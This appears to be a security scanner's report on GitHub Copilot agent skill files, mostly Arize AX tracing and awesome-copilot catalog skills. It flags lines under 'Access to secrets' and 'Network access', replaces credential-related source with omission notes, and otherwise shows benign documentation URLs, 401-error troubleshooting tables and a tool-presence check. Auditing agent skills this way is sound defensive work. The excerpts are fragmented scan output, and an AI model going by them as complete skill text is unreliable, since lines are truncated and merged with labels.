[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/github-copilot/plugins/arize-ax/skills/arize-evaluator/references/evaluator-crud-workflows.md
- Access to secretsline 18
[Credential-related source omitted] - Access to secretsline 21
[Credential-related source omitted] - Network accessline 423
|---------|----------| | `ax: command not found` | See references/ax-setup.md | | `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys | - Network accessline 424
| `ax: command not found` | See references/ax-setup.md | | `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys | | `Evaluator not found` | `ax evaluators list --space SPACE` | - Network accessline 425
| `401 Unauthorized` | API key may not have access to this space. Verify at https://app.arize.com/admin > API Keys |
harness/github-copilot/plugins/arize-ax/skills/arize-experiment/SKILL.md
- Network accessline 29
| `SPACE` | All `--space` flags and `ARIZE_SPACE` accept a space name such as `my-workspace` or a base64 space ID such as `U3BhY2U6...`; find spaces with `ax spaces list`. | | Credentials | Never read `.env` files or search the filesystem f - Network accessline 30
| Credentials | Never read `.env` files or search the filesystem for credentials. Use `ax profiles` for Arize credentials and `ax ai-integrations` for LLM provider keys. If credentials are absent, ask the user. | | API keys | For `401 Unaut - Network accessline 31
| API keys | For `401 Unauthorized`, run `ax profiles show`; if missing or wrong, use `references/ax-profiles.md`. If the user needs a key, direct them to https://app.arize.com/admin > API Keys. | - Network accessline 121
[Credential-related source omitted] - Access to secretsline 121
[Credential-related source omitted] - Network accessline 173
| `ax: command not found` | Read `references/ax-setup.md`. | | Version error | Read `references/ax-setup.md`. | | `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app. - Network accessline 174
| Version error | Read `references/ax-setup.md`. | | `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app.arize.com/admin > API Keys if they need a key. | | `No profil - Network accessline 175
| `401 Unauthorized` | Inspect `ax profiles show`; fix profile with `references/ax-profiles.md`; direct the user to https://app.arize.com/admin > API Keys if they need a key. | - Access to secretsline 203
[Credential-related source omitted] - Network accessline 249
- [Arize API keys](https://app.arize.com/admin)
harness/github-copilot/plugins/arize-ax/skills/arize-experiment/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/github-copilot/plugins/arize-ax/skills/arize-instrumentation/SKILL.md
- Network accessline 8
metadata: author: "arize" compatibility: "Python and TypeScript/JavaScript apps use openinference-instrumentation packages for auto-instrumentation. Java and Go apps use the OpenTelemetry SDK with manual OpenInference spans. See https:/ - Network accessline 9
author: "arize" compatibility: "Python and TypeScript/JavaScript apps use openinference-instrumentation packages for auto-instrumentation. Java and Go apps use the OpenTelemetry SDK with manual OpenInference spans. See https://arize.com/d - Network accessline 10
compatibility: "Python and TypeScript/JavaScript apps use openinference-instrumentation packages for auto-instrumentation. Java and Go apps use the OpenTelemetry SDK with manual OpenInference spans. See https://arize.com/docs/PROMPT.md for - Network accessline 28
Use this skill when the user wants to **add Arize AX tracing** to their application. Follow the **two-phase, agent-assisted flow** from the [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant) and the [Arize AX T - Network accessline 34
> Follow the instructions from https://arize.com/docs/PROMPT.md and ask me questions as needed. - Access to secretsline 45
[Credential-related source omitted] - Network accessline 111
The **canonical list** of supported integrations and doc URLs is in the [Agent Setup Prompt](https://arize.com/docs/PROMPT.md). Use it to map detected signals to implementation docs. - Network accessline 113
- **LLM providers:** [OpenAI](https://arize.com/docs/ax/integrations/llm-providers/openai), [Anthropic](https://arize.com/docs/ax/integrations/llm-providers/anthropic), [LiteLLM](https://arize.com/docs/ax/integrations/llm-providers/litellm) - Network accessline 114
- **Python frameworks:** [LangChain](https://arize.com/docs/ax/integrations/python-agent-frameworks/langchain), [LangGraph](https://arize.com/docs/ax/integrations/python-agent-frameworks/langgraph), [LlamaIndex](https://arize.com/docs/ax/in - Network accessline 115
- **TypeScript/JavaScript:** [LangChain JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/langchain), [Mastra](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/mastra), [Vercel AI SDK](https://arize.com/docs/ax/ - Network accessline 116
- **Java:** [LangChain4j](https://arize.com/docs/ax/integrations/java/langchain4j), [Spring AI](https://arize.com/docs/ax/integrations/java/spring-ai), [Arconia](https://arize.com/docs/ax/integrations/java/arconia). - Network accessline 117
- **Go:** No first-party auto-instrumentation packages today — use the OpenTelemetry Go SDK with manual [OpenInference](https://github.com/Arize-ai/openinference) attributes per [Manual instrumentation](https://arize.com/docs/ax/instrument/ - Network accessline 118
- **Platforms (UI-based):** [LangFlow](https://arize.com/docs/ax/integrations/platforms/langflow), [Flowise](https://arize.com/docs/ax/integrations/platforms/flowise), [Dify](https://arize.com/docs/ax/integrations/platforms/dify), [Prompt f - Network accessline 119
- **Fallback:** [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation), [All integrations](https://arize.com/docs/ax/integrations). - Network accessline 121
**Fetch the matched doc pages** from the [full routing table in PROMPT.md](https://arize.com/docs/PROMPT.md) for exact installation and code snippets. Use [llms.txt](https://arize.com/docs/llms.txt) as a fallback for doc discovery if needed - Network accessline 134
- TypeScript/JavaScript: `@opentelemetry/sdk-trace-node` plus the relevant `@arizeai/openinference-*` package. - Java: OpenTelemetry SDK plus `openinference-instrumentation-*` in pom.xml or build.gradle. - Go: `go get go.opentelemetry - Network accessline 135
- Java: OpenTelemetry SDK plus `openinference-instrumentation-*` in pom.xml or build.gradle. - Go: `go get go.opentelemetry.io/otel go.opentelemetry.io/otel/sdk go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp` — no auto-i - Network accessline 136
[Credential-related source omitted] - Access to secretsline 136
[Credential-related source omitted] - Network accessline 137
[Credential-related source omitted] - Access to secretsline 137
[Credential-related source omitted] - Network accessline 138
- Run `ax profiles show` to check for an existing profile. - If no profile exists, guide the user to run `ax profiles create` which provides an **interactive wizard** that walks through API key and space setup. See [CLI profiles docs](ht - Network accessline 139
- If no profile exists, guide the user to run `ax profiles create` which provides an **interactive wizard** that walks through API key and space setup. See [CLI profiles docs](https://arize.com/docs/api-clients/cli/profiles) for details. - Network accessline 140
- If the user needs to find their API key manually, direct them to [https://app.arize.com](https://app.arize.com) and to navigate to the settings page (do not use organization-specific URLs with placeholder IDs — they won't resolve for new - Access to secretsline 141
[Credential-related source omitted] - Network accessline 273
See [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation) for more span kinds and attributes. - Access to secretsline 288
[Credential-related source omitted] - Network accessline 311
"arize-ax-docs": { "url": "https://arize.com/docs/mcp" - Network accessline 312
"url": "https://arize.com/docs/mcp" - Network accessline 318
See the full setup at [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant). - Network accessline 322
| Resource | URL | |----------|-----| | Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant | - Network accessline 323
|----------|-----| | Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant | | Agent Setup Prompt (full routing + phases) | https://arize.com/docs/PROMPT.md | - Network accessline 324
| Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant | - Network accessline 325
| Agent Setup Prompt (full routing + phases) | https://arize.com/docs/PROMPT.md | - Network accessline 326
| Arize AX Docs | https://arize.com/docs/ax | - Network accessline 327
| Full integration list | https://arize.com/docs/ax/integrations | - Network accessline 328
| Doc index (llms.txt) | https://arize.com/docs/llms.txt | - Access to secretsline 338
[Credential-related source omitted] - Access to secretsline 375
[Credential-related source omitted] - Network accessline 383
- [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant) - Network accessline 384
- [Agent Setup Prompt](https://arize.com/docs/PROMPT.md) - Network accessline 385
- [Arize AX Docs](https://arize.com/docs/ax) - Network accessline 386
- [Full integration list](https://arize.com/docs/ax/integrations) - Network accessline 387
- [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation) - Network accessline 388
- [OpenInference](https://github.com/Arize-ai/openinference) - Network accessline 389
- [CLI profiles docs](https://arize.com/docs/api-clients/cli/profiles) - Network accessline 390
- [Arize app](https://app.arize.com) - Network accessline 391
- [Doc index](https://arize.com/docs/llms.txt) - Network accessline 392
- [Arize Docs MCP](https://arize.com/docs/mcp) - Network accessline 393
- [OpenAI integration](https://arize.com/docs/ax/integrations/llm-providers/openai) - Network accessline 394
- [Anthropic integration](https://arize.com/docs/ax/integrations/llm-providers/anthropic) - Network accessline 395
- [LiteLLM integration](https://arize.com/docs/ax/integrations/llm-providers/litellm) - Network accessline 396
- [Google Gen AI integration](https://arize.com/docs/ax/integrations/llm-providers/google-gen-ai) - Network accessline 397
- [Amazon Bedrock integration](https://arize.com/docs/ax/integrations/llm-providers/amazon-bedrock) - Network accessline 398
- [Ollama integration](https://arize.com/docs/ax/integrations/llm-providers/llama) - Network accessline 399
- [Groq integration](https://arize.com/docs/ax/integrations/llm-providers/groq) - Network accessline 400
- [MistralAI integration](https://arize.com/docs/ax/integrations/llm-providers/mistralai) - Network accessline 401
- [OpenRouter integration](https://arize.com/docs/ax/integrations/llm-providers/openrouter) - Network accessline 402
- [VertexAI integration](https://arize.com/docs/ax/integrations/llm-providers/vertexai) - Network accessline 403
- [LangChain](https://arize.com/docs/ax/integrations/python-agent-frameworks/langchain) - Network accessline 404
- [LangGraph](https://arize.com/docs/ax/integrations/python-agent-frameworks/langgraph) - Network accessline 405
- [LlamaIndex](https://arize.com/docs/ax/integrations/python-agent-frameworks/llamaindex) - Network accessline 406
- [CrewAI](https://arize.com/docs/ax/integrations/python-agent-frameworks/crewai) - Network accessline 407
- [DSPy](https://arize.com/docs/ax/integrations/python-agent-frameworks/dspy) - Network accessline 408
- [AutoGen](https://arize.com/docs/ax/integrations/python-agent-frameworks/autogen) - Network accessline 409
- [Semantic Kernel](https://arize.com/docs/ax/integrations/python-agent-frameworks/semantic-kernel) - Network accessline 410
- [Pydantic AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/pydantic) - Network accessline 411
- [Haystack](https://arize.com/docs/ax/integrations/python-agent-frameworks/haystack) - Network accessline 412
- [Guardrails AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/guardrails-ai) - Network accessline 413
- [Hugging Face Smolagents](https://arize.com/docs/ax/integrations/python-agent-frameworks/hugging-face-smolagents) - Network accessline 414
- [Instructor](https://arize.com/docs/ax/integrations/python-agent-frameworks/instructor) - Network accessline 415
- [Agno](https://arize.com/docs/ax/integrations/python-agent-frameworks/agno) - Network accessline 416
- [Google ADK](https://arize.com/docs/ax/integrations/python-agent-frameworks/google-adk) - Network accessline 417
- [MCP](https://arize.com/docs/ax/integrations/python-agent-frameworks/model-context-protocol) - Network accessline 418
- [Portkey](https://arize.com/docs/ax/integrations/python-agent-frameworks/portkey) - Network accessline 419
- [Together AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/together-ai) - Network accessline 420
- [BeeAI](https://arize.com/docs/ax/integrations/python-agent-frameworks/beeai) - Network accessline 421
- [AWS Bedrock Agents](https://arize.com/docs/ax/integrations/python-agent-frameworks/aws) - Network accessline 422
- [LangChain JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/langchain) - Network accessline 423
- [Mastra](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/mastra) - Network accessline 424
- [Vercel AI SDK](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/vercel) - Network accessline 425
- [BeeAI JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/beeai) - Network accessline 426
- [LangChain4j](https://arize.com/docs/ax/integrations/java/langchain4j) - Network accessline 427
- [Spring AI](https://arize.com/docs/ax/integrations/java/spring-ai) - Network accessline 428
- [Arconia](https://arize.com/docs/ax/integrations/java/arconia) - Network accessline 429
- [LangFlow](https://arize.com/docs/ax/integrations/platforms/langflow) - Network accessline 430
- [Flowise](https://arize.com/docs/ax/integrations/platforms/flowise) - Network accessline 431
- [Dify](https://arize.com/docs/ax/integrations/platforms/dify) - Network accessline 432
- [Prompt flow](https://arize.com/docs/ax/integrations/platforms/prompt-flow)
harness/github-copilot/plugins/arize-ax/skills/arize-instrumentation/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com by navigating to the settings page. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmati - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/github-copilot/plugins/arize-ax/skills/arize-link/SKILL.md
- Network accessline 35
Default `base_url` is `https://app.arize.com`; override it only for on-prem deployments. - Network accessline 39
All path IDs must be base64-encoded with characters `A-Za-z0-9+/=`. Raw numeric IDs produce valid-looking URLs that 404. If the user provides a number, ask them to copy the ID directly from an Arize browser URL such as `https://app.arize.co - Network accessline 83
| 404 | Wrong ID or non-base64 ID | Re-check `org_id`, `space_id`, and `project_id` from the browser URL. | | Span not highlighted | `span_id` belongs to a different trace | Verify `span_id` against exported span data. | | `org_id` unknown - Network accessline 85
| `org_id` unknown | `ax` CLI does not expose it | Ask the user to copy it from `https://app.arize.com/organizations/{org_id}/spaces/{space_id}/…`. | - Network accessline 127
- [Arize application](https://app.arize.com)
harness/github-copilot/plugins/arize-ax/skills/arize-link/references/EXAMPLES.md
- Network accessline 14
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedTraceId={trace_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&envA=tracing&modelType=gene - Network accessline 20
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedTraceId={trace_id}&selectedSpanId={span_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&en - Network accessline 26
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedSessionId={session_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&envA=tracing&modelType= - Network accessline 32
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/datasets/{dataset_id}?selectedTab=examples - Network accessline 38
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/datasets/{dataset_id}?selectedTab=experiments - Network accessline 44
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/queues - Network accessline 50
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/queues/{queue_id} - Network accessline 56
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/evaluators/{evaluator_id} - Network accessline 62
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/evaluators/{evaluator_id}?version={version_url_encoded} - Network accessline 68
https://app.arize.com/organizations/{org_id}/spaces/{space_id}/annotation-configs
harness/github-copilot/plugins/arize-ax/skills/arize-prompt-optimization/SKILL.md
- Network accessline 69
If an `ax` command fails, troubleshoot based on the error: - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is - Network accessline 70
- `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-prof - Network accessline 71
- `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-profiles.md to create/update it. If the user doesn't have their key, dir - Access to secretsline 74
[Credential-related source omitted] - Network accessline 496
- [ ] The output follows the `## Output template` structure and reports commands run or skipped. ## References - [Arize API Keys](https://app.arize.com/admin) - Network accessline 498
- [Arize API Keys](https://app.arize.com/admin)
harness/github-copilot/plugins/arize-ax/skills/arize-prompt-optimization/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/github-copilot/plugins/arize-ax/skills/arize-trace/SKILL.md
- Network accessline 30
| --- | --- | | `ax: command not found` or version error | Read `references/ax-setup.md`; reinstall outdated `ax` with `uv tool install --force --reinstall arize-ax-cli` when shell access is available. | | `No profile found`, missing API ke - Network accessline 31
| `ax: command not found` or version error | Read `references/ax-setup.md`; reinstall outdated `ax` with `uv tool install --force --reinstall arize-ax-cli` when shell access is available. | | `No profile found`, missing API key, or `401 Una - Network accessline 32
| `No profile found`, missing API key, or `401 Unauthorized` | Run `ax profiles show`. If missing or wrong, read `references/ax-profiles.md`. If the user lacks a key, direct them to https://app.arize.com/admin > API Keys. | - Network accessline 245
- [Arize API keys](https://app.arize.com/admin)
harness/github-copilot/plugins/arize-ax/skills/arize-trace/references/ax-profiles.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 33
[Credential-related source omitted] - Access to secretsline 42
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 46
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 67
[Credential-related source omitted] - Network accessline 70
They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/github-copilot/plugins/automate-this/skills/automate-this/SKILL.md
- Network accessline 107
echo "=== Node ===" && { command -v node && node --version 2>&1; } || echo "not installed" echo "=== Homebrew ===" && { command -v brew && echo "installed"; } || echo "not installed" echo "=== Common Tools ===" && for cmd in curl jq playwri - Network accessline 109
echo "=== Common Tools ===" && for cmd in curl jq playwright selenium osascript automator crontab; do command -v $cmd >/dev/null 2>&1 && echo "$cmd: yes" || echo "$cmd: no"; done - Access to secretsline 182
[Credential-related source omitted]
harness/github-copilot/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-agents/SKILL.md
- Network accessline 21
Use web access to read the awesome-copilot catalog and raw agent files. The catalog is at `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`; agent files are under `https://github.com/github/awesome-copilot/tree/mai - Network accessline 27
1. Fetch the available custom agent list and descriptions from `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`. - Network accessline 28
2. List every local `.github/agents/*.agent.md` file. 3. Read local frontmatter and body to inventory descriptions, tools, and instructions. 4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercont - Network accessline 29
3. Read local frontmatter and body to inventory descriptions, tools, and instructions. 4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}` - Network accessline 30
4. For each local filename that appears likely to exist upstream, fetch `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}`. - Network accessline 74
| Awesome-Copilot Custom Agent | Description | Already Installed | Similar Local Custom Agent | Suggestion Rationale | | --- | --- | --- | --- | --- | | [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilo - Network accessline 75
| --- | --- | --- | --- | --- | | [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/amplitude-experiment-implementation.agent.md) | This custom agent uses Amplitude's MCP tools to depl - Network accessline 76
| [amplitude-experiment-implementation.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/amplitude-experiment-implementation.agent.md) | This custom agent uses Amplitude's MCP tools to deploy new experiments inside of Amp - Network accessline 77
| [launchdarkly-flag-cleanup.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/launchdarkly-flag-cleanup.agent.md) | Feature flag cleanup agent for LaunchDarkly | Yes | `launchdarkly-flag-cleanup.agent.md` | Already cover - Network accessline 78
| [principal-software-engineer.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/principal-software-engineer.agent.md) | Provide principal-level software engineering guidance with focus on engineering excellence, technica - Network accessline 94
| Awesome-Copilot Custom Agent | Description | Already Installed | Similar Local Custom Agent | Suggestion Rationale | | --- | --- | --- | --- | --- | | `[agent-name.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/agent - Network accessline 96
| `[agent-name.agent.md](https://github.com/github/awesome-copilot/blob/main/agents/agent-name.agent.md)` | `<description>` | `No | Yes | Outdated` | `<local filename or None>` | `<why it fits, duplicate rationale, or specific outdated diff - Network accessline 101
- [ ] The awesome-copilot README agents catalog was fetched from `https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md`. - Network accessline 102
- [ ] Local `.github/agents/*.agent.md` files were listed and their frontmatter descriptions were read. - [ ] Remote versions were fetched from `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}` for comparable - Network accessline 103
- [ ] Remote versions were fetched from `https://raw.githubusercontent.com/github/awesome-copilot/main/agents/{filename}` for comparable local agents. - Network accessline 111
- [Awesome Copilot agents catalog](https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md) - Network accessline 112
- [Awesome Copilot agents folder](https://github.com/github/awesome-copilot/tree/main/agents)
harness/github-copilot/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-instructions/SKILL.md
- Network accessline 21
- Read local instruction files from `.github/instructions/` and repository-wide instructions from `.github/copilot-instructions.md` when present. - Fetch the catalog from <https://github.com/github/awesome-copilot/blob/main/docs/README.inst - Network accessline 22
- Fetch the catalog from <https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md>. - Network accessline 23
- Fetch remote instruction versions with raw URLs: `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`. - Network accessline 29
2. Discover local `*.instructions.md` files in `.github/instructions/` and, when relevant, community `instructions/` files. 3. Read YAML front matter from local files to extract `description` and `applyTo` patterns. 4. For each local file t - Network accessline 30
3. Read YAML front matter from local files to extract `description` and `applyTo` patterns. 4. For each local file that corresponds to an awesome-copilot file, fetch the raw remote version using `https://raw.githubusercontent.com/github/awe - Network accessline 31
4. For each local file that corresponds to an awesome-copilot file, fetch the raw remote version using `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`. - Network accessline 79
| Awesome-Copilot Instruction | Description | Already Installed | Similar Local Instruction | Suggestion Rationale | | --- | --- | --- | --- | --- | | [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions - Network accessline 80
| --- | --- | --- | --- | --- | | [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md) | Blazor development guidelines | Yes | `blazor.instructions.md` | Already covered by existi - Network accessline 81
| [blazor.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md) | Blazor development guidelines | Yes | `blazor.instructions.md` | Already covered by existing Blazor instructions. | - Network accessline 82
| [pcf-react-platform-libraries.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/pcf-react-platform-libraries.instructions.md) | ReactJS development standards | No | None | Would enhance React development wi - Network accessline 83
| [java-junit5-assertions.instructions.md](https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md) | Java development best practices | Outdated | `java-junit5-assertions.instructions.md` | `a - Network accessline 111
| Local file | Remote file | Key differences | Recommendation | | --- | --- | --- | --- | | `.github/instructions/<file>.instructions.md` | `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}` | <descripti - Network accessline 113
| `.github/instructions/<file>.instructions.md` | `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}` | <description/applyTo/content differences> | update | keep | - Network accessline 121
- [ ] The awesome-copilot catalog at <https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md> was checked. - Network accessline 122
- [ ] Local `.github/instructions/` files were inventoried, including `description` and `applyTo`. - [ ] Remote raw versions were fetched for comparable local files using `https://raw.githubusercontent.com/github/awesome-copilot/main/instru - Network accessline 123
- [ ] Remote raw versions were fetched for comparable local files using `https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename}`. - Network accessline 131
- [Awesome Copilot instructions catalog](https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md) - Network accessline 132
- [Blazor instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/blazor.instructions.md) - Network accessline 133
- [PCF React platform libraries instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/pcf-react-platform-libraries.instructions.md) - Network accessline 134
- [Java JUnit 5 assertions instruction example](https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md) - Network accessline 135
- [Raw instruction URL pattern](https://raw.githubusercontent.com/github/awesome-copilot/main/instructions/{filename})
harness/github-copilot/plugins/awesome-copilot/skills/suggest-awesome-github-copilot-skills/SKILL.md
- Network accessline 21
- Remote catalog: https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md. - Remote skill folders live under https://github.com/github/awesome-copilot/tree/main/skills. - Use `web_fetch` for README and raw `SKILL.md` files - Network accessline 22
- Remote skill folders live under https://github.com/github/awesome-copilot/tree/main/skills. - Use `web_fetch` for README and raw `SKILL.md` files. Use `execute/bash` with `curl` only when a bundled asset cannot be retrieved completely thr - Network accessline 30
1. Fetch the available skill list and descriptions from https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md. - Network accessline 32
3. For each local folder, read `SKILL.md` front matter and extract `name` and `description`. 4. List bundled assets in each local skill folder. 5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://r - Network accessline 33
4. List bundled assets in each local skill folder. 5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md`. 6. Compar - Network accessline 34
5. For each local skill that appears in awesome-copilot, fetch the remote raw file at `https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md`. - Network accessline 66
https://raw.githubusercontent.com/github/awesome-copilot/main/skills/{skill-name}/SKILL.md - Network accessline 71
- https://github.com/github/awesome-copilot/tree/main/skills/gh-attach - Network accessline 72
- https://github.com/github/awesome-copilot/tree/main/skills/aspire - Network accessline 73
- https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer - Network accessline 99
| Awesome-Copilot Skill | Description | Bundled Assets | Already Installed | Similar Local Skill | Suggestion Rationale | | --- | --- | --- | --- | --- | --- | | [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-atta - Network accessline 100
| --- | --- | --- | --- | --- | --- | | [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach) | GitHub CLI skill for managing repositories and workflows | None | No | None | Would enhance GitHub workflow automati - Network accessline 101
| [gh-attach](https://github.com/github/awesome-copilot/tree/main/skills/gh-attach) | GitHub CLI skill for managing repositories and workflows | None | No | None | Would enhance GitHub workflow automation capabilities | - Network accessline 102
| [aspire](https://github.com/github/awesome-copilot/tree/main/skills/aspire) | Aspire skill for distributed application development | 9 reference files | Yes | aspire | Already covered by existing Aspire skill | - Network accessline 103
| [terraform-azurerm-set-diff-analyzer](https://github.com/github/awesome-copilot/tree/main/skills/terraform-azurerm-set-diff-analyzer) | Analyze Terraform AzureRM provider changes | Reference files | Outdated | terraform-azurerm-set-diff-a - Network accessline 114
- [ ] The awesome-copilot README skills catalog was fetched from https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md. - Network accessline 124
